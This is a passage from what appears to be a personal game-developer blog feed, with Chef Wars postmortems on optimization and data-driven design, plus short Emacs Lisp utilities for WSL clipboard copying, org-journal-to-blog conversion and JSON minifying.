&lt;p&gt;&lt;img alt="01" src="https://media.giphy.com/media/26n6T9MrKZ2Qo16Vy/giphy.gif" /&gt;&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;The profiler has been really helpful in catching performance problems.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Looking back it is easy to pinpoint what went wrong. I was optimizing too early, later changed my approach only to find out that I was already too late to optimize certain critical parts. I, of course, want to prevent this from happening again. So the million dollar question is: How does one determine when to optimize? How does one know when is too early and too late?&lt;/p&gt;
&lt;h2 id="the-complete-version"&gt;The complete version&lt;/h2&gt;
&lt;p&gt;I later learned that the famous adage actually has a longer version:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Programmers waste enormous amounts of time thinking about, or worrying about, the speed of noncritical parts of their programs, and these attempts at efficiency actually have a strong negative impact when debugging and maintenance are considered. We should forget about small efficiencies, say about 97% of the time: premature optimization is the root of all evil. Yet we should not pass up our opportunities in that critical 3%.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img alt="02" src="https://i.imgur.com/dqPF0cK.jpg" /&gt;&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;From Donald Knuth&amp;#39;s The Art of Computer Programming
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Turns out there was more to the saying that completely changes the lesson to be learned. Breaking it down we can infer that the author is telling us that:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Too much obsession over non-critical parts wastes time.&lt;/li&gt;
&lt;li&gt;Only focus on efficiencies that matter.&lt;/li&gt;
&lt;li&gt;Optimize whenever possible, but not at the expense of the previously mentioned points.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;So instead of asking WHEN to optimize, it is more important to ask WHAT and HOW to optimize. In other words, anytime there is a chance to evaluate if an optimization is needed, one needs to consider whether there really is something worthwhile to optimise, and if so, how to proceed in optimizing.&lt;/p&gt;
&lt;h2 id="answering-the-what-and-how"&gt;Answering the WHAT and HOW&lt;/h2&gt;
&lt;p&gt;Knowing how to answer the WHAT and HOW is not easy and requires both experience and careful planning to get right. The internet is a bit divided about this as nobody really knows the best answer. In spite of this, I was able to gather some helpful nuggets of wisdom during my research that are worth considering:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Be critical of what optimizations to use at each stage of the project. Determine how critical it is and if it can be done later.&lt;/li&gt;
&lt;li&gt;If setting aside optimizations for later, make sure to prepare the code so that it would be easy to do so when the time comes.&lt;/li&gt;
&lt;li&gt;Proper planning during the design stage can determine what to build and how to optimize in advance.&lt;/li&gt;
&lt;li&gt;Measuring/profiling optimizations would reveal which are the most effective to use in the future.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="conclusion"&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;There is a certain sense of pride in producing optimized and stable code. Sadly, this kind of perfection comes at a cost of time. The solution is to always consider at all times when, what, and how to optimize.&lt;/p&gt;
&lt;p&gt;This may all seem overkill to worry about but after going through 2 years worth of development on Chef Wars, I know all of this is worth taking the extra effort to do right. I hope that what I've learned may also be of use to you.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;[Our game is running better now and you could play it by downloading it on on &lt;a href="https://play.google.com/store/apps/details?id=air.com.mindcakegames.chefwars&amp;amp;hl=en"&gt;Android&lt;/a&gt; and &lt;a href="https://play.google.com/store/apps/details?id=air.com.mindcakegames.chefwars&amp;amp;hl=en"&gt;iOS&lt;/a&gt;. Also check out my &lt;a href="http://www.accidentalrebel.com/blog/2017/12/05/chef-wars-postmortem--what-went-right-having-a-universe-file/"&gt;previous postmortem&lt;/a&gt; where I talk about something that went right.]&lt;/em&gt;&lt;/p&gt;</content><category term="Misc"/><category term="chefwars"/><category term="gamedev"/><category term="mindcake"/><category term="postmortem"/></entry><entry><title>Chef Wars Postmortem -- What went right: Having a Universe File</title><link href="https://www.accidentalrebel.com/chef-wars-postmortem--what-went-right-having-a-universe-file.html" rel="alternate"/><published>2017-12-05T12:56:00+08:00</published><updated>2017-12-05T12:56:00+08:00</updated><author><name>AccidentalRebel</name></author><id>tag:www.accidentalrebel.com,2017-12-05:/chef-wars-postmortem--what-went-right-having-a-universe-file.html</id><summary type="html">&lt;p&gt;How keeping all Chef Wars game data in a single "Universe" spreadsheet made prototyping, iteration, and live patching faster across two years of development.&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;strong&gt;Note: This is from a &lt;a href="http://www.accidentalrebel.com/tags/chefwars_postmortem/"&gt;series of articles&lt;/a&gt; that outlines the things I've learned while making &lt;a href="http://mindcakegames.com/"&gt;Chef Wars&lt;/a&gt; for 2+ years.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;TLDR&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;All data in our game is contained in one excel file we call the "Universe".&lt;/li&gt;
&lt;li&gt;Prototypes can be done on the Universe excel file itself&lt;/li&gt;
&lt;li&gt;Iteration is easier as we only need to change one file.&lt;/li&gt;
&lt;li&gt;We made a system that downloads changes from our server so players don't need to update their builds.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;p&gt;Before we started development on Chef Wars, Cliff, my co-founder and game designer for the team, already had pages of spreadsheets containing important values in the game. It's kinda like a game design document but in the form of tables, columns, and rows. This "Universe" file contained everything from stats, dialogue, competitions, locations, chefs, and enemies just to name a few. &lt;/p&gt;
&lt;p&gt;&lt;img alt="01" src="https://i.imgur.com/rVZqbaH.png" /&gt;&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="nx"&gt;This&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;file&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;definitely&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;gives&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;hint&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;on&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;what&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;type&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;of&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;guy&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Cliff&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;is&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Having a list of all the data that will be used in the game has helped us visualize the scope and the systems to be built, especially in making prototypes. One time Cliff made a simulation of the battle system using his Excel mastery. The universe data is fed into this simulation (i.e. competition level, recipe power) and the expected values are displayed (i.e. judging result, rewards amount). This mockup allowed us to see how the battles play out and made the whole thing easier for me to understand and implement in the engine.&lt;/p&gt;
&lt;p&gt;All the content of the universe file is then converted to the JSON format which is used directly by the game. Iterating on the game is easy because the file would just need to be converted again for the new changes to show up. The conversion process is done manually though using a CSV to JSON tool. I would have automated the process but didn't have the time to work on it.&lt;/p&gt;
&lt;p&gt;&lt;img alt="02" src="https://i.imgur.com/lE5zqDu.png" /&gt;&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;*It&amp;#39;s like the Matrix*
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Initially, when we wanted to update some values, we would need to push a new build version that players need to download. We figured that this is too cumbersome especially if we really have some critical changes we want to get out as soon as possible. As a solution to this, we made a system where a master copy of the JSONs are saved on our servers. We can change the data from here and the game would automatically download the necessary files that we changed. This is a really great feature that has helped us push important changes without having the need for a new build. But it does require a lot of bandwidth especially if a lot of players request for the new data so we do it only when needed like on crash producing bugs.&lt;/p&gt;
&lt;p&gt;As you can see, we've spent a lot of time making sure that our game is data-centric as possible and it benefitted us immensely. This approach has been so useful that we plan to use it on our future projects. And hopefully, after reading this, we've convinced you to try it out too.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;[Check out how the universe has been transformed into a game by playing Chef Wars on &lt;a href="https://play.google.com/store/apps/details?id=air.com.mindcakegames.chefwars&amp;amp;hl=en"&gt;Android&lt;/a&gt; and &lt;a href="https://play.google.com/store/apps/details?id=air.com.mindcakegames.chefwars&amp;amp;hl=en"&gt;iOS&lt;/a&gt;. Also, be sure to check out Cliff's postmortem where he talks about the &lt;a href="http://mindcakegames.com/chef-wars-launch-post-mortem/"&gt;things we learned during our global launch&lt;/a&gt;!]&lt;/em&gt;&lt;/p&gt;</content><category term="Misc"/><category term="chefwars"/><category term="gamedev"/><category term="mindcake"/><category term="postmortem"/></entry><entry><title>Temp Solution For When Text Copying Does Not Work in Emacs Under Windows Subsytem for Linux</title><link href="https://www.accidentalrebel.com/temp-solution-for-when-copying-does-not-work-in-emacs-under-windows-subsystem-for-linux.html" rel="alternate"/><published>2017-09-23T13:08:00+08:00</published><updated>2017-09-23T13:08:00+08:00</updated><author><name>AccidentalRebel</name></author><id>tag:www.accidentalrebel.com,2017-09-23:/temp-solution-for-when-copying-does-not-work-in-emacs-under-windows-subsystem-for-linux.html</id><summary type="html">&lt;p&gt;A quick Emacs Lisp fix for clipboard copy not working from WSL to Windows applications, using clip.exe as a workaround via the simpleclip package.&lt;/p&gt;</summary><content type="html">&lt;p&gt;One of the problems I was having with my Emacs environment under WSL &lt;em&gt;(Windows Subsystem for Linux, aka. Bash On Windows)&lt;/em&gt; is that I could not copy text from WSL Emacs to other Windows applications. Copy and pasting from Windows to Emacs works without any problems so it's weird it does not work the other way around.&lt;/p&gt;
&lt;p&gt;I tried a lot of solutions from Google but none of them seem to work. There was an emacs package called &lt;a href="https://github.com/rolandwalker/simpleclip"&gt;simpleclip&lt;/a&gt; that worked but the results were not consistent.&lt;/p&gt;
&lt;p&gt;I then realized that a temporary solution would be to make use of Windows' clip.exe command line utility which can bme seen below.&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;defun&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;arebel-set-clipboard-data&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;str-val&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Puts text in Windows clipboard. Copying to Windows from WSL does &lt;/span&gt;
&lt;span class="s"&gt;not work on my end so this one is a temporary solution.&lt;/span&gt;

&lt;span class="s"&gt;This function is called from within the simpleclip package when copy &lt;/span&gt;
&lt;span class="s"&gt;or bgcopy command is issued.&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;start-process&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;cmd&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;nil&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;cmd.exe&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;/C&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;concat&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;echo &amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;replace-regexp-in-string&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;\n&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;\r&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;str-val&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot; | clip.exe&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;It works quite nicely especially after integrating it with simpleclip. This would do for now until I find a better solution.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;EDIT (2017-10-01):&lt;/strong&gt; Turns out the original code could not copy a region with multiple lines due to the difference in carriage return characters. This is now fixed with &lt;code&gt;(replace-regexp-in-string "\n" "\r" str-val)&lt;/code&gt;.&lt;/p&gt;
&lt;/blockquote&gt;</content><category term="Misc"/><category term="emacs windows linux"/></entry><entry><title>Converting org-journal entry to org-page post</title><link href="https://www.accidentalrebel.com/converting-org-journal-entry-to-org-page-post.html" rel="alternate"/><published>2017-04-19T13:17:00+08:00</published><updated>2017-04-19T13:17:00+08:00</updated><author><name>AccidentalRebel</name></author><id>tag:www.accidentalrebel.com,2017-04-19:/converting-org-journal-entry-to-org-page-post.html</id><summary type="html">&lt;p&gt;An Emacs Lisp function that converts an org-journal entry at point into a new org-page blog post, avoiding manual copy-paste between buffers.&lt;/p&gt;</summary><content type="html">&lt;p&gt;Since my recent switch from Wordpress to &lt;a href="https://github.com/kelvinh/org-page"&gt;org-page&lt;/a&gt; I wanted a way to convert my org-journal entries to org-page posts. Instead of copying each entry by hand and pasting to an org-page new page buffer I decided to make an elisp code that would do it automatically which can be seen below:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;defun&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;arebel-org-journal-entry-to-org-page-post&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Copy the org-journal entry at point and then convert it to a org-page new post buffer.&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;interactive&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;eq&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;&amp;#39;org-journal-mode&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;major-mode&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nv"&gt;headline-text&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;nth&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;org-heading-components&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;entry-text&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;org-get-entry&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;funcall-interactively&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;&amp;#39;op/new-post&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;blog&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;concat&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;buffer-name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;-&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;headline-text&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;goto-char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;point-max&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;insert&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;entry-text&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;message&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;This function can only be called inside org-journal-mode.&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The function is simple and uses functions from org-mode and org-page.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;First, it checks if the current buffer is in org-journal-mode&lt;/li&gt;
&lt;li&gt;Then it gets the headline text and entry texts&lt;/li&gt;
&lt;li&gt;It then calls op/new-post. It does it interactively so that it will trigger the prompts needed to populate the template. (Also notice that it takes the org-journal buffer name plus time as the blog post's org file name. This way I don't have to specify it.)&lt;/li&gt;
&lt;li&gt;It then inserts the entry-text at the end of the buffer.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;From here I am free to edit, commit, then publish.&lt;/p&gt;
&lt;p&gt;It's working great. As proof this post you are reading right now has been made with the code above.&lt;/p&gt;</content><category term="Misc"/><category term="emacs org-mode"/></entry><entry><title>Converting org-journal entry to org-page post</title><link href="https://www.accidentalrebel.com/minifying-buffer-contents-in-emacs.html" rel="alternate"/><published>2017-04-19T13:17:00+08:00</published><updated>2017-04-19T13:17:00+08:00</updated><author><name>AccidentalRebel</name></author><id>tag:www.accidentalrebel.com,2017-04-19:/minifying-buffer-contents-in-emacs.html</id><summary type="html">&lt;p&gt;A short Emacs Lisp function to minify buffer contents by stripping all whitespace and newlines, useful for compacting JSON files.&lt;/p&gt;</summary><content type="html">&lt;p&gt;I needed a way to minify JSON files from Emacs so I made the short function below.&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;defun&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;arebel-minify-buffer-contents&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Minifies the buffer contents by removing whitespaces.&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;interactive&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;delete-whitespace-rectangle&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;point-min&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;point-max&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;mark-whole-buffer&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;goto-char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;point-min&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;search-forward&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;\n&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;nil&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;t&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;replace-match&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;nil&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;t&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The function is very simple. First it deletes the whitespaces for the whole current buffer then removes every newline.&lt;/p&gt;
&lt;p&gt;This effectively turns this:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;&amp;quot;glossary&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nt"&gt;&amp;quot;title&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;example glossary&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nt"&gt;&amp;quot;GlossDiv&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nt"&gt;&amp;quot;title&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;S&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nt"&gt;&amp;quot;GlossList&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="nt"&gt;&amp;quot;GlossEntry&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="nt"&gt;&amp;quot;ID&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;SGML&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="nt"&gt;&amp;quot;SortAs&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;SGML&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="nt"&gt;&amp;quot;GlossTerm&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Standard Generalized Markup Language&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="nt"&gt;&amp;quot;Acronym&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;SGML&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="nt"&gt;&amp;quot;Abbrev&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;ISO 8879:1986&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="nt"&gt;&amp;quot;GlossDef&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;


&lt;span class="w"&gt;                          &lt;/span&gt;&lt;span class="nt"&gt;&amp;quot;para&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;A meta-markup language, used to create markup languages such as DocBook.&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="nt"&gt;&amp;quot;GlossSeeAlso&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;GML&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;XML&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="nt"&gt;&amp;quot;GlossSee&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;markup&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;To this:&lt;/p&gt;
